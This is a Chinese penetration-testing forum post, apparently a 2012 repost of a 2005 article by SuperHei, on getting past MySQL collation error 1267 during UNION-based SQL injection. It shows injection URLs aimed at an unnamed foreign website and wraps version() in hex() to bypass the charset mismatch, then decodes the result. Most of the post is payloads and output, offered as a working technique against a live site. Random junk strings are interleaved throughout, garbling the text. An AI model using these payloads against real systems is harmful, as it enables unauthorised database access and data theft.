中国网络渗透测试联盟
标题:
MySQL注射时ErrorNo.1267的突破
[打印本页]
作者:
admin
时间:
2012-9-15 14:04
标题:
MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei
+ N7 C* S: t8 D0 d$ S
文章性质:原创
5 t L% M0 r6 Y. C! O
发布日期:2005-10-18
3 N7 W; Y/ P% t0 x% M7 K4 V
测试个国外的站时:
& d+ Z* o1 F+ e+ `
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
$ N+ ^2 @4 _# W0 J3 _: m
返回错误:
7 P1 v3 E, L% z2 B9 p
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
|4 T' c9 @* `
MySQL Error No. 126
" i2 A* O! @6 t9 u+ p
看来是union查询前后字符集(
http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html
)不同出现的。
/ q6 w8 O9 T, K4 {" b5 q2 t
解决办法:转为其他编码如hex。
% n8 t5 s' o! Q/ k+ B3 [9 p
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
9 p# K( J( I0 b9 a
成功得到hex(version())的值为:
$ b3 |' h7 z y3 ?, ?4 x, O8 z) {0 q
342E312E332D62657461
6 n h2 N8 [4 Z) o4 |0 w
回Mysql查询下得到:
" z/ D( P) u+ h- f
mysql> select 0x342E312E332D62657461;
3 d1 ?; |: ^& z$ y) V8 ^: v3 y s
+------------------------+
* E$ @' d0 ~3 i! U h; M1 p
| 0x342E312E332D62657461 |
/ e1 R/ m% ^6 A9 K1 W# `$ |
+------------------------+
- ]* W2 F/ r4 @& z1 ]" b2 V
| 4.1.3-beta |
5 |) k5 r! S6 h- C$ u) r5 B. [
+------------------------+
$ m4 ]0 P& e! J& V; e; E$ f+ M @
1 row in set (0.00 sec)
) w! i- T- y: M. t7 x; n/ F
; h+ o) @2 S, W4 e! c
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2